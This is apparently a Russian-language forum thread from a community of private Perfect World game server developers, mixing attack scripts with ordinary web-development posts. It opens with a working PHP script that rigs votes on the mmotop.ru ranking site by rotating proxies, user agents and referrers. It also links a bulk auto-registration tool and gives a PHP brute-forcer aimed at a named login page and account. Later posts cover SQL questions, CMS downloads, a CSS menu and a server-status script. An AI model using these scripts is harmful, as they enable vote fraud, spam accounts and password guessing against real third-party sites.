Теория: Чтобы накрутить счётчик нам нужно проходить по ссылке голосования на топ, на топах обычно стоит проверка по ip,куки, ну кое где стоит и каптча но вопрос про это дело времени!) Собсно что нам надо: 1-это изменять ip 2-менять заголовки(useragent итп) Для того чтобы менять ip нам потребуются прокси, откудо их взять ваше дело, я советаю брать списки элитных прокси так как они не возвращают ip использующего(например при проверке на сервере может стоять не $_SERVER['REMOTE_ADDR'] а $_SERVER['HTTP_CLIENT_IP']) а гавённое прокси сразу вас пропалит. Существует кууча прог для поиска и проверки прокси, на данный момент меня больше интересует кол-во прокси чем их качество поэтому я юзаю ProxyFinder скачать Теперь нам надо подготовить списки заголовков: Юзер агенты: берём например отсюда смотреть Список реферов: самим надо делать ибо только вы знаете ваши страницы, либо заюзать какойнить онлайн сео инструмент и получить список Теперь скрипт: <? $dataPROXY = file("proxy.txt"); $totalPROXY = count($dataPROXY); $sPROXY = mt_rand(0, $totalPROXY-1); $result_PROXY = $dataPROXY[$sPROXY]; $PROXY = str_replace("\r\n", "", $PROXY); $dataUA = file("ua.txt"); $totalUA = count($dataUA); $sUA = mt_rand(0, $totalUA-1); $result_UA = $dataUA[$sUA]; $UA = str_replace("\r\n", "", $resultUA); $dataREFERRER = file("referrer.txt"); $totalREFERRER = count($dataREFERRER); $sREFERRER = mt_rand(0, $totalREFERRER-1); $result_REFERRER = $dataREFERRER[$sREFERRER]; $REFERRER = str_replace("\r\n", "", $resultREFERRER); $ref = $REFERRER; $ua = $UA; $proxy_host=$PROXY; // цель $url="http://pw.mmotop.ru/vote/17008/";// цель // цель $ch=curl_init ($url); curl_setopt($ch, CURLOPT_PROXY, $proxy_host); curl_setopt($ch, CURLOPT_REFERER, $ref); // некоторые проверяют curl_setopt ($ch, CURLOPT_HEADER, 1); // чтобы выводил заголовки curl_setopt ($ch, CURLOPT_NOBODY, 1); // чтобы не выводил саму страницу (она пока не нужна) curl_setopt($ch, CURLOPT_USERAGENT, $ua); // чтобы сказать что мы броузер, а не так себе... ob_start(); // первый раз ничего не нужно выводить (можно для отладки скрипта убрать) $htnl = curl_exec ($ch); curl_close ($ch); $headers = explode("\n", ob_get_contents()); // так можно получить массив всех заголовков от сервера ob_end_clean(); for ($i=0; $i<sizeof($headers); $i++) { if (strpos($headers[$i], 'Set-Cookie:') !== FALSE) { list($field, $cookie[]) = explode(' ', $headers[$i]); // так можно получить куку (куки) } } $ch=curl_init ($url); curl_setopt($ch, CURLOPT_PROXY, $proxy_host); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt ($ch, CURLOPT_HEADER, 0); // для отладки можно оставить 1 curl_setopt ($ch, CURLOPT_NOBODY, 1); // чтобы не выводил саму страницу (она пока не нужна) curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_REFERER, $ref); // некоторые проверяют curl_setopt($ch, CURLOPT_POST, 1); // метод POST curl_setopt($ch, CURLOPT_POSTFIELDS, "".$login."=".$loginvalue."".$kill."&".$post1name."=".$post1value."&".$post2name."=".$post2value."&".$post3name."=".$post3value."&".$post4name."=".$post4value."&".$post5name."=".$post5value."&".$post6name."=".$post6value.""); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // это может понадобиться если будет редирект for ($i=0; $i<sizeof($cookie); $i++) { curl_setopt($ch, CURLOPT_COOKIE, $cookie[$i]); // шлём cookie } $html = curl_exec($ch); curl_close($ch); echo $html; ?> НЕ ЗАБУДТЕ в томже каталоге разместить txt юзерагентов прокси и реферов Вот пример зачтения голоса [img] P.S. Не используйте во вред данный скрипт, если вы начнёте голосовать за конкурента через дермопрокси то скорее всего его забанят из топа и он лишится притока новых игроков а это фактически смерть сервера
Выкладываю во фри скрипт для автореги на нубосерверах (если нет каптчи ограничения по ip) если есть то продам визуализатор и прокси ловилку На вашем сервере должны быть установлены библиотеки curl (качаем денвер и расшерение для денвер) Для использования надо ввести названия полей(нажать в опере Ctrl+U и посмотреть имена инпутов) указать адрес, кол-во регистраций и указать показывать ли результат(последняя строчка 1-да 2-нет) Если использовать "Без куки" то это будет быстрей, но кое где надо их использовать так как может быть проверка(как у максимиана) скачать http://depositfiles.com/files/oodh22pfa PS КТО ХОЧЕТ МЕНЯ ДОСИТЬ - ПРОШУ, мой роутер готов пока я сплю...
вот написал скрипт для подбора паролей(на вашем сервере должна быть библиотека cURL php) залить в одну дерикторию word.txt - в нём редактируете символы которые будут подбираться 1 2 3 4 5 6 7 8 9 0 brut.php - открывать его <? //script by Botchal $i=0; while($i<10000){$i++; $result = file_get_contents("http://127.0.0.1/test/test.php"); if($result==""){}else{die("$result");} } ?> test.php - надо настроить пост запросы и адрес клиента <? $i=0; //while($i<1){$i++; if(isset($_GET['stop'])){BREAK;} $data = file("word.txt"); $total = count($data); $s1 = mt_rand(0, $total-1); $s2 = mt_rand(0, $total-1); $s3 = mt_rand(0, $total-1); $s4 = mt_rand(0, $total-1); $s5 = mt_rand(0, $total-1); $s6 = mt_rand(0, $total-1); $s7 = mt_rand(0, $total-1); $s8 = mt_rand(0, $total-1); $s9 = mt_rand(0, $total-1); $s10 = mt_rand(0, $total-1); $result_R = $data[$s1]. $data[$s2]. $data[$s3]. $data[$s4]; $X = str_replace("\r\n", "", $result_R); //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// $ua = "User-Agent: Botchal Bot 1.0 (compatible; MSIE 5.01; Widows NT)"; // ну, или что больше нравится $ref = 'http://pw.g-gam1ng.ru/login.php'; // обычно адрес на котором сама форма $ch=curl_init ("http://pw.g-gam1ng.ru/login.php"); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt ($ch, CURLOPT_HEADER, 0); // для отладки можно оставить 1 curl_setopt ($ch, CURLOPT_NOBODY, 1); // чтобы не выводил саму страницу (она пока не нужна) curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_REFERER, $ref); // некоторые проверяют curl_setopt($ch, CURLOPT_POST, 1); // метод POST curl_setopt($ch, CURLOPT_POSTFIELDS, "login=serega12&pass=".$X.""); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // это может понадобиться если будет редирект curl_setopt($ch, CURLOPT_TIMEOUT, 3); for ($i=0; $i<sizeof($cookie); $i++) { curl_setopt($ch, CURLOPT_COOKIE, $cookie[$i]); // шлём cookie } $html = curl_exec($ch); curl_close($ch); //} //echo $html; preg_match_all( '#<div class=block2 style="halign:left;"><div class=capt_head><table style="marign:0;padding:0;width:100%;"><tr><td><b>(.+?)</b></td><td align=right>#is', $html, $matches ); foreach ( $matches[1] as $value ) if($value != ""){die("НАШЁЛ - {$X}");} ?> Slink не одобряе А Botchal одобряе
Для написания модулей мне необходимы так называемые процедуры для бд. Интересуют все базы, sql процедуры не скидывать! я их и сам могу прочитать. Лучше заполните 1 строчку таблицы правильно и скинте дамп. Уж очень интересует iplimit! сделаю список банов на странице, а в админке функцию забанить. Отдельный вопрос про то как заполнять id в таблице(в любой где это требуется, надо чтоб само число ставилось. Либо надо на PHP так сказать выбрать последнюю строчку, прибавить 1 и создавать новую запись с этим id но я не помню функций. Вобщем давайте в этой теме скидывать всё про sql
Полностью готовый мини сайт для сервера Perfect World. Функционал: статические страницы(html), установщик, админка, регистрация, статус сервера(ов), отдельно чат. В дальнейшем ждите: смена пароля, напоминание пароля на e-mail, топ Скрины: Главная страница сайта: [img] Панель администратора: [img] Взято с: mmorpg-devs.ru авторы: Botchal, Slink, Sneeska. Скачать: v1.3 MSSQL MySQL пароль на архивы: mmorpg-devs.ru
Представляю хорошую CMS для сайта. Модули: Форум, Каталог сайтов, Каталог Файлов, rss, новости, лс на сайте, поис, магазин, опросы и многие другие. Много модулей можно найти в рунете, таких как чат, фотогалерею, грабер цитат с баша итд Сайт разработчиков: http://antislaedcms.ru/ Скачать Antislaed CMS 4.3.1 http://letitbit.net/download/31755.312e306bd8e5eadcbae6950bd/AntiSlaed_4.3.1_Next.zip.html
Для написания меню используем CSS. для начала нам потребуются 2 картинки. например эти [ATTACH] [ATTACH] Далее в html документе создаём новый div, придадим ему класс sitemenu, в div запихнём ссылки <html> <head> <style></style> </head> <body> <div class="sitemenu"> <a href="http://mmorpg-devs.ru/">Страница1</a> <a href="http://mmorpg-devs.ru/">Страница2</a> <a href="http://mmorpg-devs.ru/">Страница3</a> <a href="http://mmorpg-devs.ru/">Страница4</a> <a href="http://mmorpg-devs.ru/">Страница5</a> </div> </body> </html> Далее надо в CSS описать вид ссылок внутри именно этого div (sitemenu) Все ссылки бывают активными(ссылка на страницу на которой вы уже находитесь) простой, уже посещённой и ссылкой на которую наведён курсор. a:active, a:link, a:visited, a:hover соответственно. Поскольку ссылки находятся внутри дива, то в css это пишется так: .moremenu a:active, .moremenu a:link, .moremenu a:visited, .moremenu a:hover нам нужно чтобы ссылки были на фоне картинок, а при наведении картинка менялась пишем <html> <head> <style> .sitemenu a:link { background: url(menu1.png); padding-top: 0px; color: #ffffff; width: 140px; height: 30px; float: right; margin: 0; font: 11px/25px georgia, verdana, palatino, times new roman, serif; text-decoration: none; font-weight: bold; letter-spacing: 1px; text-align: center; } .sitemenu a:active { background: url(menu1.png); padding-top: 0px; color: #ffffff; width: 140px; height: 30px; float: right; margin: 0; font: 11px/25px georgia, verdana, palatino, times new roman, serif; text-decoration: none; font-weight: bold; letter-spacing: 1px; text-align: center; } .sitemenu a:visited { background: url(menu1.png); padding-top: 0px; color: #ffffff; width: 140px; height: 30px; float: right; margin: 0; font: 11px/25px georgia, verdana, palatino, times new roman, serif; text-decoration: none; font-weight: bold; letter-spacing: 1px; text-align: center; } .sitemenu a:hover { background: url(menu2.png); padding-top: 0px; color: #000000; width: 140px; height: 30px; float: right; margin: 0; font: 11px/25px georgia, verdana, palatino, times new roman, serif; text-decoration: none; font-weight: bold; letter-spacing: 1px; text-align: center; } </style> </head> <body> <div class="sitemenu"> <a href="http://mmorpg-devs.ru/">Страница1</a> <a href="http://mmorpg-devs.ru/">Страница2</a> <a href="http://mmorpg-devs.ru/">Страница3</a> <a href="http://mmorpg-devs.ru/">Страница4</a> <a href="http://mmorpg-devs.ru/">Страница5</a> </div> </body> </html> написанное нами css говорит о том что у ссылок есть задний фон с размерами 140 на 30 в виде картинки, у a:link, a:active, a:visited фон и цвет шрифта один а у a:hover он другой [ATTACH]
простой скрипт показывающий статус сервера. Выводит картинку. Подходит для любого сервера <? //ip и порт вашего сервера $ip1="127.0.0.1"; $port1="8080"; //статус для первого сервера $fp = @fsockopen($ip1, $port1, $errno, $errstr, 1); if($fp >= 1){ $server1 = '<img src=on.png />';} else{ $server1 = '<img src=off.png />'; } ?> <?php echo $server1; ?> Если у вас несколько серверов то добавляйте переменные <? //ip и порт вашего сервера1 $ip1="127.0.0.1"; $port1="8080"; //статус для первого сервера $fp = @fsockopen($ip1, $port1, $errno, $errstr, 1); if($fp >= 1){ $server1 = '<img src=on.png />';} else{ $server1 = '<img src=off.png />'; } //ip и порт вашего сервера2 $ip2="127.0.0.1"; $port2="8081"; //статус для первого сервера $fp = @fsockopen($ip2, $port2, $errno, $errstr, 1); if($fp >= 1){ $server2 = '<img src=on.png />';} else{ $server2 = '<img src=off.png />'; } ?> <?php echo $server1; ?> <?php echo $server2; ?> Картинки [ATTACH] [ATTACH]
Имена участников (разделяйте запятой).